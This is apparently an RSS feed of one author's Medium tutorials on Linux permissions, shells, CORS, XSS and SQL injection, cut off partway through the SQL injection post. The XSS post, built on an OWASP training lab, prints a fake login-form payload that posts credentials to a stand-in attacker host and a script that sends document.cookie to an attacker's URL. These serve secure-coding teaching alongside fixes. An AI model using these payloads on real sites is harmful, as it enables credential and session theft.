<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nipun Thathsara on Medium]]></title>
        <description><![CDATA[Stories by Nipun Thathsara on Medium]]></description>
        <link>https://medium.com/@nipunthathsara?source=rss-e067dae42736------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Nipun Thathsara on Medium</title>
            <link>https://medium.com/@nipunthathsara?source=rss-e067dae42736------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 07:24:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nipunthathsara/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Linux | permissions model (Part 1)]]></title>
            <link>https://medium.com/@nipunthathsara/linux-permissions-model-part-1-9021e780c20d?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/9021e780c20d</guid>
            <category><![CDATA[unix]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[authorization]]></category>
            <category><![CDATA[permission]]></category>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Sun, 22 Jun 2025 19:22:29 GMT</pubDate>
            <atom:updated>2025-06-22T19:24:35.312Z</atom:updated>
            <content:encoded><![CDATA[<h4>Understanding ls -l command output</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/0*9LdJY-M7OxRckQUG.png" /><figcaption><a href="https://linuxcommand.org/">https://linuxcommand.org/</a></figcaption></figure><p>As explained in the above picture, very first character explains the file type.</p><ol><li>- file</li><li>d directory</li><li>l symlink</li></ol><pre>○ → ls -l<br>-rw-r--r--@ 1 nipunthathsara  staff   0 17 jun. 17:12 app<br>drwxr-xr-x@ 2 nipunthathsara  staff  64 17 jun. 17:12 child-dir<br>-rw-r--r--@ 1 nipunthathsara  staff   0 17 jun. 17:13 log<br>lrwxr-xr-x@ 1 nipunthathsara  staff  10 17 jun. 17:17 photos -&gt; ../desktop</pre><p>Above is the output of a ls -l command on a directory which contains 2 regular files(app, log) 1 directory(child-dir) and 1 symbolic link(photos). And below table explains the output.</p><pre># | File Type | Permissions   | Owner          | Group | Name <br>1 | -         | rw-  r--  r-- | nipunthathsara | staff | app <br>2 | d         | rwx  r-x  r-x | nipunthathsara | staff | child-dir <br>3 | -         | rw-  r--  r-- | nipunthathsara | staff | log <br>4 | l         | rwx  r-x  r-x | nipunthathsara | staff | photos -&gt; desktop </pre><h4>First entry: app file</h4><p>It’s a regular file named app Therefore the first character is -.</p><p>File is owned by nipunthathsara.</p><p>Owner has rw- rights over this file. That stands for read, write and no-execution. If the owner had execution rights, it would’ve looked like rwx.</p><p>Group staff includes all the users who are in this group. They have r-- rights over this file. So, they can just read the file, but cannot write or execute. Easier way to grant permissions to multiple people.</p><p>and the remaining 3 permission characters for this file r-- describe the rights for the others or the world. Which includes every other user in the system who is not the owner or not included in staff group.</p><h4>Second entry: child-dir directory</h4><p>It’s a directory named child-dir. Represented by d in the first letter.</p><p>Owner of the directory is nipunthathsara. Owner has rwx rights over this file. that stands for read, write and execution. What does it mean to have different rights on a directory? rwx permissions on a regular files self-explanatory. But on a directory, it’s a bit tricky. Below chart explains different combinations of permissions over a directory.</p><pre>| Permissions | cd dir ?      | ls dir ?      | ls -l dir ?      | touch dir/file ?      |access files inside ?     | Use Case                                                                                              |<br>| ---         | No            | No            | No               | No                    | No                       | Completely locked.                                                                                    |<br>| r--         | No            | Yes           | No               | No                    | No                       | You can see the names of files, but that&#39;s it. Not very useful.                                       |<br>| --x         | Yes           | No            | No               | No                    | Yes, if you know name    | A &quot;pass-through&quot; or &quot;blind drop-box&quot; directory. You can get to things inside if you know the path.    |<br>| r-x         | Yes           | Yes           | Yes              | No                    | Yes                      | Standard read-only access. Users can browse and read files but cannot change anything.                |<br>| -wx         | Yes           | No            | No               | Yes                   | Yes, if you know name    | A &quot;write-only drop-box&quot;. Users can add files but cannot see what else is in there.                    |<br>| rwx         | Yes           | Yes           | Yes              | Yes                   | Yes                      | Full access. Can do anything.                                                                         |</pre><p>If I summerize above chart, x allows you to cd into the directory. r allows you to ls the directory. w allows you to touch new-file in the directory.</p><p>And if we consider group permissions for this child-dir directory, any user who is not the owner, but included in the staff group have r-x rights over the directory. Therefore, they can cd in to directory and ls into directory to see the file names and sub-dir names in that directory.</p><p>Same permissions r-xare shared by any other in the system as explained by the last 3 permission bits.</p><h4>Third entry: log file</h4><p>Will skip this as this is just another regular file as the first entry.</p><h4>Fourth entry: photos symbolic link</h4><p>Since photos is a symbolic link to Desktop directory, it is of type l as defined by the first character.</p><p>Owner nipunthathsara has rwx rights, staff group has r-x. So does the rest of the users in the system.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9021e780c20d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux | Shell (vs Terminal)]]></title>
            <link>https://medium.com/@nipunthathsara/linux-shells-5ab028919ea6?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ab028919ea6</guid>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Tue, 17 Jun 2025 11:07:26 GMT</pubDate>
            <atom:updated>2025-06-22T19:25:08.540Z</atom:updated>
            <content:encoded><![CDATA[<h4>shell vs terminal, sh, bash and zsh etc.</h4><h4>Terminal</h4><p>Terminal is just a graphical user interface which takes your keyboard input, and prints stuff. Example: Terminal/iTerm2 on mac, Windows console/Windows terminal/Power shell console on Windows, GNOME terminal on Ubuntu. Terminal it self is dumb, it requires another program (like shell) to interpret/execute the commands you provide. But a terminal can operate depending on other programs (like Python/Vi editor) to interpret the commands it receives. For instance, when you have a Python prompt on your terminal(&gt;&gt;&gt;), the commands you input on terminal are processed by Python, not shell. But most of the time, terminal works with a shell.</p><p>Therefore, it’s of less use to talk much on terminals. You can either use the one that comes default with your os, upgrade it by installing custom plugins, or install a completely new terminal that you fancy. Some terminals support text highlighting, window splitting etc.</p><h4>Shell</h4><p>Shell<strong> </strong>itself is a separate program from your terminal. It’s a program(most of the time) which interprets/executes the commands you provide on your terminal. When shell writes to its stdout or stderr, it’s the respective terminal who renders that output and prints it on your screen(terminal app). Again, just like a terminal can function w/o a shell, a shell can function w/o a terminal. Example: A Shell script triggered by a Cron job.</p><p>Like said, operating systems can support multiple shells. And you can switch between shells depending on your preference. You can even set a default shell for your tasks. If you are using a newer version of Mac os, your default shell is set to zsh. But it also contains bash.</p><ul><li>Mac: bash and zsh (later versions have zsh as default)</li><li>Windows: Power shell, cmd.exe (cmd is not MSDOS)</li><li>Ubuntu: bash(Bourne again shell)</li></ul><h4>Running shell scripts</h4><ul><li><em>Shebang line</em><br>If you are familiar with shell scripting, you may remember the opening line on some scripts.<br>#!/bin/bash<br>#!/bin/sh<br>This defines which interpreter(shell) should be used to execute the shell script. <br>Alternatively, you can choose the interpreter to be used when you execute the script. sh script.sh bash script.sh zsh script.sh</li><li><em>Executing scripts</em><br>I have simple script.sh file with one line, echo &quot;something&quot;. If I try to run this, I get permission denied as I don’t have execution right x agains this file. But I can execute the same file if I do bash ./script.sh or sh script.sh. <br>In the first approach, script it self is considered as the program, and he Kernel checks if you have execution rights against that. Since you don’t it fails. <br>On the second approach sh ./script.sh, your shell itself sh is the program. So the Kernel first checks if you have execution right x for the /bin/sh program. Since you do, Kernel then proceeds to check if sh has read r permission to script.sh file. <br>Therefore, reason for this different behaviour is permissions, and what’s considered as what on Kernel level.</li></ul><pre>○ → cat script.sh<br>echo &quot;soemthing...&quot;<br>○ → ./script.sh<br>-bash: ./script.sh: Permission denied<br>○ → ls -l<br>total 16<br>-rw-r--r--@ 1 nipunthathsara  staff   20 17 jun. 11:09 script.sh<br>-rw-r--r--@ 1 nipunthathsara  staff  334 17 jun. 11:10 typescript<br>○ → bash ./script.sh<br>soemthing...</pre><ul><li><em>Different shells in the same os</em><br>If you view /etc/shells file, you can see different shells that you OS comes with.</li></ul><pre>○ → cat /etc/shells<br># List of acceptable shells for chpass(1).<br># Ftpd will not allow users to connect who are not using<br># one of these shells.<br><br>/bin/bash<br>/bin/csh<br>/bin/dash<br>/bin/ksh<br>/bin/sh<br>/bin/tcsh<br>/bin/zsh</pre><ul><li><em>Switching between shells<br>- </em>If you have a script which is meant to be executed against a specific shell, define the correct shebang line at the top of the script. Alternatively, do something like zsh script.sh<br>- If you have a Mac which defaults to zsh nowadays and you want your terminal to temporally switch to bash, just type bash or what ever the shell you want in your current shell. This will not kill the current shell, rather it will create another shell (bash in this case) inside your current shell. You can confirm this by ps ax and listing the processes. You should see both shells running.<br>- exec bash will exit from the current shell and start a bash in place. Then you won’t see 2 shell processes if you do ps ax.</li><li><em>Change default shell<br></em>I had zsh as the default shell ootb. But I changed it to bash with below. chsh -s /bin/bash</li><li><em>View current shell<br></em>Use echo $SHELL command.</li></ul><h4>Customising your shell</h4><p>Different shell have their own plugin(or extension/framework) like below. These enable different themes, command auto-completion and useful aliases for regular commands. (Creating aliases can be done on the default shell itself.)<br>- bash: <a href="https://github.com/Bash-it/bash-it">bash-it</a><br>- zsh: <a href="https://ohmyz.sh/">oh-my-zsh</a></p><p>You can define aliases for your most commons tasks. Use .bashrc file for this purpose. Example:</p><p>alias lsa=&#39;ls -a&#39;</p><h4>Shell configuration file(.bash_profile .bashrc)</h4><p>Depending on the shell in use, these files may have different names.</p><ol><li>bash: .bash_profile and .bashrc</li><li>zsh: .zsh_profile and .zshrc</li></ol><p>These are hidden files in your user home directory ~. Soemtimes the files may not be there by default. In that case just create the hidden file in your respective user home with the correct name according to your shell in use.</p><p>.bash_profile file gets executed on login. But the term login could have different meaning depending on the system you are working on. If you are trying to access a remote machine via ssh, then .bash_profile file of that remote system is expected to be executed upon a successful login to that system via ssh. On a Mac, every new terminal opening would trigger this. Therefore, executing anything written in there. On the otherhand, Ubuntu will not create a login-shell when you open a new terminal there. Therefore, bahs_profile will not get executed if you open a new terminal in an Ubuntu GUI.</p><p>.bashrc file is meant to be executed whenever a non-login shell is opened. It’s the standard that we define our daily configs here. Like aliases.</p><p>I have defined below in my .bash_profile so that i don’t miss out on configs defined in .bashrc file every time I open a new terminal(login-shell in mac’s context)</p><pre>○ → cat .bash_profile<br>if [ -f ~/.bashrc ]; then<br>    source ~/.bashrc<br>fi</pre><p>This results in a bashrc read everytime the bash_profile is read.</p><h4>Bourne again shell(bash)</h4><p>Common in today’s systems. Program is located in /bin/bash file. Default shell in Ubuntu. Used to be the default Mac shell until recently.</p><h4>Bourne shell (sh)</h4><p>Original UNIX shell. Most of today’s operating systems will likely have a sym link to a compatible shell(like bash), so that you can make use of Bourne shell.</p><h4>Z-shell(zsh)</h4><p>Default shell in today’s Mac. You can use extensions like oh-my-zsh to customise it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ab028919ea6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure Coding | Vulnerability | Cross Site Scripting (XSS)]]></title>
            <link>https://medium.com/@nipunthathsara/secure-coding-vulnerability-cross-site-scripting-xss-daa2b5f9d107?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/daa2b5f9d107</guid>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[secure-coding]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Tue, 28 Jun 2022 00:59:37 GMT</pubDate>
            <atom:updated>2022-06-28T00:59:37.047Z</atom:updated>
            <content:encoded><![CDATA[<h4>Detect, exploit and mitigate XSS</h4><h3>XSS</h3><p>Injecting a malicious client side script(Javascript) via a web application. This script could be executed in the immediate user’s browser or some other user’s browser. And the browsers will execute the script as it came from a trusted source in its perspective. XSS is a serious vulnerability as it allows an attacker to gain access to user session and cookies.</p><h3>Types of XSS attacks</h3><ol><li><strong>Reflected XSS attacks</strong><br>Injected malicious script will directly get executed on user’s browser. Script is not stored in any permeant storage. Like in the below demonstrated sample application.</li><li><strong>Persistent XSS attacks</strong><br>Injected malicious script will first get stored into the application’s database(or any other storage). Later when the application query the database and display the data on same user’s or on a different user’s browser, script will get executed and perform the attack. These types of attacks are more harmful as it could easily reach to more users and stay hidden in a storage for ages. Very common example would be an application’s comment section. An attacker can create a legitimate account and post a comment appending a malicious Javascript. Backend server will persist the comment into a database. Later the application will unknowingly deliver the script to the other users when they try to view comments. Then the script will get executed on each and every user’s browser.</li></ol><p>May be it would be easier to explain things after walking through the OWASP XSS sample application.</p><h3>OWASP XSS Demo Application</h3><p>This example application is from OWASP maintained <a href="https://github.com/blabla1337/skf-labs">skf-labs</a>. I will be referring to the Java sample here. But the repository contains samples for Node, Python etc.</p><h4>Reproducing steps</h4><ol><li>Clone the repo git clone <a href="https://github.com/blabla1337/skf-labs.git">https://github.com/blabla1337/skf-labs.git</a></li><li>Navigate to skf-labs/java/xss directory.</li><li>Run the application with mvn spring-boot:run.</li><li>Access the application with <a href="http://localhost:5000/">http://localhost:5000/</a></li><li>Application contains a text box where you can type any text and it will be displayed in the same window as below.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fHOtxAHNq1YE5P_gm-eGVQ.png" /></figure><p>6. Copy and paste the below text into this text box and submit to simulate an XSS attack. &lt;script&gt;window.alert(&quot;XSS attack simulation.&quot;)&lt;/script&gt;</p><p>You will get an alert as below. This is a simple XSS attack simulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*ixHgZEV6_7m-0F2bmbI0fQ.png" /></figure><h4>What just happened</h4><p>This application was developed just to echo a given message. Developers might have assumed that the users will be typing in regular strings but ignored the fact that an attacker might exploit this to inject malicious Javascript, which will get executed on user’s browser. This is a reflected XSS attack as the script was not persisted into any storage but immediately reflected on that very user’s browser.</p><h4>Code</h4><p>This attack was possible because the developer didn’t sanitize the user’s input. Let’s have a look at the code.</p><p><a href="https://gist.github.com/nipunthathsara/b32fa432e9d59b17340b15733fbf46f3">https://gist.github.com/nipunthathsara/b32fa432e9d59b17340b15733fbf46f3</a></p><p>XssController class has the POST /home endpoint to submit the user input. And as you can see, user inout is directly used in the response model without any sanitization. <br>model.addAttribute(&quot;xss&quot;, name)<br>And this unsanitized data is rendered in the index.html page to echo the input message in their browser.</p><h4>Fix</h4><p>For this sample application we can easily fix this issue by escaping the user input before rendering. &lt;p style=&quot;...&quot; th:utext=&quot;${xss} ?: &#39;&#39;&quot;/&gt;</p><p>This HTML page uses Thymeleaf templating engine. As you can see above, utext stands for <strong>Unescaped Text</strong>. That’s why user input Javascript characters were not escaped originally. But if we replace utext with text, it will automatically escape the user input script, so that it will be treated as a string by the browser.<br>&lt;p style=&quot;...&quot; th:text=&quot;${xss} ?: &#39;&#39;&quot;/&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GGA3s0yGEE5wGJ4OEiw-fA.png" /></figure><h3>Further exploiting an XSS vulnerability</h3><ol><li><a href="https://www.stackhawk.com/blog/java-xss/">Acquiring user credentials</a><br>We can achieve this by exploiting an XSS vulnerability in a query parameter. An attacker can append a malicious script with a simple yet convincing HTML form to asking the user to re-login with their credentials. Even a technically sound user would have believe that the form is genuine as the browser URL still has the verified application domain. <br>But once the malicious script has rendered in the user’s browser and if they have fallen for it, credentials will be submitted to an attacker controlled system.<br>Attacker can use an email or another legitimate website(i.e. Stackoverflow answer) to deliver the link to potential victims. <br><a href="http://localhost:5000/?Country=&lt;h3&gt;LOGIN&lt;/h3&gt;%20&lt;form%20action=http://some-evil-address.com&gt;%20&lt;label%20for=&quot;username&quot;&gt;Username:%20&lt;/label&gt;%20&lt;input%20type=&quot;text&quot;%20name=&quot;username&quot;%20id=&quot;username&quot;%20/&gt;%20&lt;label%20for=&quot;password&quot;&gt;Password:&lt;/label&gt;%20&lt;input%20type=&quot;password&quot;%20name=&quot;password&quot;%20id=&quot;password&quot;&gt;%20&lt;input%20type=&quot;submit&quot;%20value=&quot;OK&quot;&gt;"><em>http://localhost:5000?Country=&lt;h3&gt;LOGIN&lt;/h3&gt; &lt;form action=http://some-evil-address.com&gt; &lt;label for=”username”&gt;Username: &lt;/label&gt; &lt;input type=”text” name=”username” id=”username” /&gt; &lt;label for=”password”&gt;Password:&lt;/label&gt; &lt;input type=”password” name=”password” id=”password”&gt; &lt;input type=”submit” value=”OK”&gt;</em></a></li><li><a href="https://infinitelogins.com/2020/10/13/using-cross-site-scripting-xss-to-steal-cookies/">Acquiring session cookies</a><br>As the URL, attacker can provide their own endpoint to retrieve user’s cookies for application. Browser allows this as it sees the Javascript’s origin as same as the original website.<br>&lt;script&gt;<br>document.write(&#39;&lt;img src=&quot;[URL]?c=&#39;+document.cookie+&#39;&quot; /&gt;&#39;);<br>&lt;/script&gt;</li></ol><h3>Mitigating XSS vulnerability</h3><ol><li>Sanitize user input as early as possible.</li><li>Whitelist allowed characters, not blacklist. (Attackers can encode, double encode to get around blacklisted characters. Also, blacklisting is harder and error prone.)</li><li>Encode appropriately(Encode for HTML, encode for Javascript) before rendering any persisted data or user input back it into the browser.</li></ol><p>Cheers!</p><p>References and Further Reading</p><ol><li><a href="https://owasp.org/www-community/attacks/xss/">https://owasp.org/www-community/attacks/xss/</a></li><li><a href="https://www.stackhawk.com/blog/java-xss/">https://www.stackhawk.com/blog/java-xss/</a></li><li><a href="https://infinitelogins.com/2020/10/13/using-cross-site-scripting-xss-to-steal-cookies/">https://infinitelogins.com/2020/10/13/using-cross-site-scripting-xss-to-steal-cookies/</a></li><li><a href="https://github.com/blabla1337/skf-labs">https://github.com/blabla1337/skf-labs</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=daa2b5f9d107" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure Coding | Cross-Origin Resource Sharing (CORS)]]></title>
            <link>https://medium.com/@nipunthathsara/cross-origin-resource-sharing-cors-in-depth-68951a3cbf1a?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/68951a3cbf1a</guid>
            <category><![CDATA[same-origin-policy]]></category>
            <category><![CDATA[cross-origin]]></category>
            <category><![CDATA[cors]]></category>
            <category><![CDATA[cookies]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Wed, 22 Jun 2022 22:43:25 GMT</pubDate>
            <atom:updated>2022-06-25T21:48:39.688Z</atom:updated>
            <content:encoded><![CDATA[<p>Same-Origin policy, CORS, Browser and the Server</p><h3>Background</h3><p><strong>Same Origin Policy</strong> — This prevents accessing web resources such as APIs from origins which are different from where they(resources) are being hosted. In simple terms, by default, you can’t access the API <a href="https://youtube.com/api/channel/1234/subscription"><em>https://youtube.com/api/channel/1234/subscription</em></a> from <a href="https://mydomain.com/"><em>https://mydomain.com</em></a>. This operation is blocked <strong>by the browser </strong>as the request’s origin is different from that of the resource.</p><p><strong>Need of such policy? </strong>— A real world example would be : You are logged into your Gmail from your browser. To avoid the hassle of providing credentials every-time you check your mails, you check the keep me logged in option on Gmail login. Now your browser has a logged in session for you. There may exist a malicious website, which, upon access tries to retrieve your Gmail inbox information by calling a Gmail API. As your browser has all the required login cookies for Gmail, this request should not be any different from the one that the original Gmail client sends to the Gmail server. As you are using a trusted browser(Chrome, Firefox etc.), it will detect the requesting server’s origin is different and will block the request from sending. So the same-origin policy is there for your own protection.</p><p><strong>Origin</strong> — Is the combination of <strong>&lt;protocol&gt;://&lt;host&gt;:&lt;port&gt;</strong>. Below are considered to be different origins from each other.</p><ol><li>http://mydomain.com</li><li>https://mydomain.com</li><li>https://internal.mydomain.com</li><li><a href="https://mydomain.com:9443/">https://mydomain.com:9443</a></li></ol><p>As mentioned previously, it’s the browser who <strong>enforces</strong> the same-origin policy. It’s <strong>not the server backend</strong>, in this case youtube.com, <strong>does not enforce</strong> the same-origin policy nor does it block any requests initiated from other origins. This is the reason why one should always use a <strong>trusted browser</strong> for their day-to-day work. These browsers doesn’t let you modify the Origin header of the request. Origin defines where the request is initiated from. It will be appended to the request by the browser itself and the client code has no control over that. Of course the origin header will be sent to the server along with the request, but it’s not the job of the backend server to enforce the same-origin policy and refuse to serve requests with mismatching Origin headers. Rather, it’s the duty of the browser to enforce it.</p><p>Same-origin policy is not applicable for client tools like <strong>Curl</strong> nor for any Server-to-Server calls. It’s only applicable for cross-origin front-end requests. (Of course you can control all the headers including Origin if it’s a Curl right?)</p><h3>CORS</h3><p>CORS is a mechanism to ease the restriction enforced by the same-origin policy. Same-origin policy is too strict that it might sometimes prevent legitimate real world use cases. For example;</p><ol><li>Front end could be hosted in a different host from the backend.</li><li>An SPA might want to authenticate its users via a cloud hosted Identity Provider like OKTA where the IdP’s host is obviously different from the SPA.</li></ol><p>Therefore, we need a mechanism to ease the restrictions in a controlled manner. This is where CORS comes into the picture. With CORS, you can tell the browser to allow defined set of origins to access the resources despite them being different from the resource server. You define the way you want to ease the access in the backend server. And the browser will use those information to check if a request should be allowed or denied.</p><h4>Browser’s Role in CORS</h4><p>Browser is the enforcer of a server’s CORS policy.</p><ol><li>Appends the Origin header to cross-origin requests and the sole moderator of its value.</li><li>For cross-origin requests to the servers which don’t have a CORS policy configured(servers which don’t response with proper CORS response headers), consider the CORS evaluation is a false and block the request. This even protects the servers which were implemented before CORS was introduced.</li><li>For <strong>Simple Requests</strong>(Explained later in this post), append required additional request headers before sending out.</li><li><strong>For simple requests</strong>, reveal the response only if the CORS evaluation is a success. Otherwise hide the response from the client code. (This is when you only see the request information, but not the response information in the browser’s network trace.)</li><li>For <strong>non-simple requests</strong>, initiates a pre-flight request(again, discussed later) AKA OPTIONS call and decides if the actual request should be sent, based on the server’s pre-flight response.</li></ol><h4>Simple requests</h4><ol><li>GET, POST, HEAD requests.</li><li>Content-Type should either be application/x-www-form-urlencoded, multipart/form-data, text-plain for POST requests.</li></ol><p>If above two conditions are satisfied for a <strong>Cross-Origin Request</strong>, then it will be considered a simple request by the browser. For simple requests, browser will not send any <strong>pre-flight requests(OPTIONS)</strong>. (Discussed in the next section.) Browser will directly send the request to the server.</p><p>As the server doesn’t enforce the CORS policy, it will respond to the browser’s request even though the request violates its CORS policy. But the server will let the browser know that this is a violation using the response headers explained later in this post. So that the browser can prevent the client code(Javascript) from accessing the actual response sent by the server. This is when you don’t see any Response information, but only the Request in the browser network trace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JPmlPifrUyiyATOCw4fxfQ.png" /><figcaption>Browser hiding simple cross-origin response from client code</figcaption></figure><h4>Non-simple requests(Pre-flight request required)</h4><ol><li>Uses HTTP method other than GET, POST, HEAD <strong>or</strong></li><li>Has request headers other than Accept, Accept-Language, Content-Language</li></ol><p>Means even if you are trying to perform a cross-origin GET request which should not ideally trigger a pre-flight request, if you have custom HTTP header in your request, browser will initiate a pre-flight request to check if the server allows such headers.</p><p>When the above condition is satisfied, request will be held back and a pre-flight request will be sent to the server <strong>by the browser</strong>. This is annotated by the OPTIONS HTTP method and visible in the browser network trace. Servers with a proper CORS policy configured can respond to this request with CORS response headers which are discussed later in this post. Then the browser evaluates the received CORS response headers to decide if the actual client request should be sent to the server or drop. Also, <strong>pre-flight request is solely under browser’s control</strong> and the client code can’t intervene that.</p><h4>CORS Request Headers</h4><ol><li>Access-Control-Allow-Origin<br>This CORS response header set by the server let the browser know a list of origins that the server accepts.</li><li>Access-Control-Request-Method<br>This request header of the pre-flight request informs the server of the actual request’s HTTP method( DELETE, POST etc.) in order to check if it’s okay with the server’s CORS policy.</li><li>Origin <br>Mandatory header in any CORS request. Defines the origin of the request. Managed solely by the browser.</li><li>Access-Control-Request-Headers <br>This request header of the pre-flight request contains custom HTTP headers of the original client request, to make sure that the server would accept those.</li></ol><h3>Server’s Role in CORS</h3><p>A developer or an administrator can maintain a whitelisted set of origins in the server side. How this be configured on the server will depend on the platform. (Tomcat hosted web application can make use of Tomcat CORS configurations etc.) These whitelisted hosts will be communicated to the browser via response headers as explained below. As explained above CORS defines more than origin. Using the response headers, server can inform the browser on below.</p><ol><li>Whitelisted origins</li><li>Allowed HTTP methods</li><li>Allowed headers</li><li>If cookies are allowed</li></ol><h4>CORS Response Headers</h4><ol><li>Access-Control-Allow-Methods <br>This CORS response header allows the server to let the browser know of the allowed HTTP methods for cross-origin requests. This may include a single HTTP method or a list of HTTP methods. This is in response to the Access-Control-Request-Method header sent by the browser.</li><li>Access-Control-Allow-Headers <br>This lets the browser know a list of request headers accepted by the server.</li><li>Access-Control-Allow-Credentials<br>This lets the browser know that it may attach any cookies available for this domain to the CORS request. Note that for same-origin requests, browsers will append cookies by default. (For CORS requests, it’s mandatory to set the withCredentials property in the Ajax request in the client code as well. If not, cookies will not be appended despite the subject header being true.)</li><li>Access-Control-Expose-Headers<br>By default for cross-origin requests, browser’s only allow set of <strong>Simple Response Headers </strong>for the client code. Means, not all the response headers returned by the server will be accessible for the client code. This CORS response header sent by the server lets the server know that the whitelisted set of headers can also be exposed to the client code. i.e. X-Powered-By header is usually not visible for the client Javascript event hough it is there in the server’s response to the browser.</li></ol><h3>Pre-flight Caching</h3><p>Browsers can cache pre-flight responses from the server to reduce the overhead. This will be cached against the foreign origin and the requested URL. But the servers can control the TTL(Time to Live) of this cache by setting the Access-Control-Max-Age CORS response header. This caching might be the reason why you don’t see the pre-flight request when you reload the page.</p><h3>Additional Information</h3><p>Front-end developer need not to worry about CORS at all. Browser takes care of it all. It’s the job of the server administrator or the developer to configure the CORS policy.</p><p>Cheers.</p><h3>References and further readings</h3><ol><li>CORS in Action — Monsur Hossain</li><li><a href="https://medium.com/@baphemot/understanding-cors-18ad6b478e2b">https://medium.com/@baphemot/understanding-cors-18ad6b478e2b</a></li><li><a href="https://medium.com/@f2004392/cors-preflight-request-options-9d05b9248e5a">https://medium.com/@f2004392/cors-preflight-request-options-9d05b9248e5a</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68951a3cbf1a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure Coding | Vulnerability | SQL Injection]]></title>
            <link>https://medium.com/@nipunthathsara/secure-coding-vulnerability-sql-injection-55d67b09e3ce?source=rss-e067dae42736------2</link>
            <guid isPermaLink="false">https://medium.com/p/55d67b09e3ce</guid>
            <category><![CDATA[secure-coding]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Nipun Thathsara]]></dc:creator>
            <pubDate>Mon, 20 Jun 2022 21:52:00 GMT</pubDate>
            <atom:updated>2022-06-20T21:52:00.812Z</atom:updated>
            <content:encoded><![CDATA[<h4>Spot, Exploit and Fix SQL Injections</h4><p>SQL Injection vulnerability may occur when an application takes its users’ unsanitized input directly to build an SQL query. An attacker can exploit this vulnerability to read/alter/delete data in the database. Even to modify the DDL if the permissions are there.</p><h4>Sample Application</h4><p>This example application is from OWASP maintained <a href="https://github.com/blabla1337/skf-labs">skf-labs</a>. I will be referring to the Java sample here. But you can find samples there for Python, C and NodeJS as well.</p><p><strong>Steps to reproduce</strong></p><p><strong>Pre-requisite</strong> : Java 8, Maven 3.x</p><ol><li>Clone the repo git clone https://github.com/blabla1337/skf-labs.git</li><li>Navigate to skf-labs/java/sqli directory.</li><li>Run the application with mvn spring-boot:run.</li><li>Access the application with <a href="http://localhost:5000/">http://localhost:5000/</a></li><li>Notice how the URL changes when you click on the <a href="http://localhost:5000/home/1">Welcome</a> and <a href="http://localhost:5000/home/2">About us</a> links.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p8plDn3lvn_FlS1hojKCQA.png" /><figcaption>owasp-sqli-demo-url-behaviour</figcaption></figure><p>6. The number appended at the end of the URL is being used directly in the SQL query. (Which we are going to see next in the code section) You can exploit this vulnerability if you change the URL in to something like this.<br><a href="http://localhost:5000/home/3">http://localhost:5000/home/3</a></p><p>Here, instead of default allowed 1 and 2 page numbers, we use 3. Contact page was never listed in the home page. But we are able to access it by exploiting the SQL Injection vulnerability. But we <strong>can exploit this further</strong> and gain more information as discussed later in this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2bogCiA6JRjnaFb3jsTjhQ.png" /><figcaption><a href="http://localhost:5000/home/3">http://localhost:5000/home/3</a></figcaption></figure><h3>Code</h3><p>Below is an extraction of the <strong>Controller</strong> and the <strong>Model</strong> class responsible for this. User input from the request {id} is directly used in the database query &quot;SELECT pageId, title, content FROM pages WHERE pageId = &quot; + pageId.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2e003df2e321aa2fec77f755a4e9177f/href">https://medium.com/media/2e003df2e321aa2fec77f755a4e9177f/href</a></iframe><p>SQLi vulnerability here is that an attacker can change this request URL to inject malicious SQL query knowing that it will get appended to the database query as 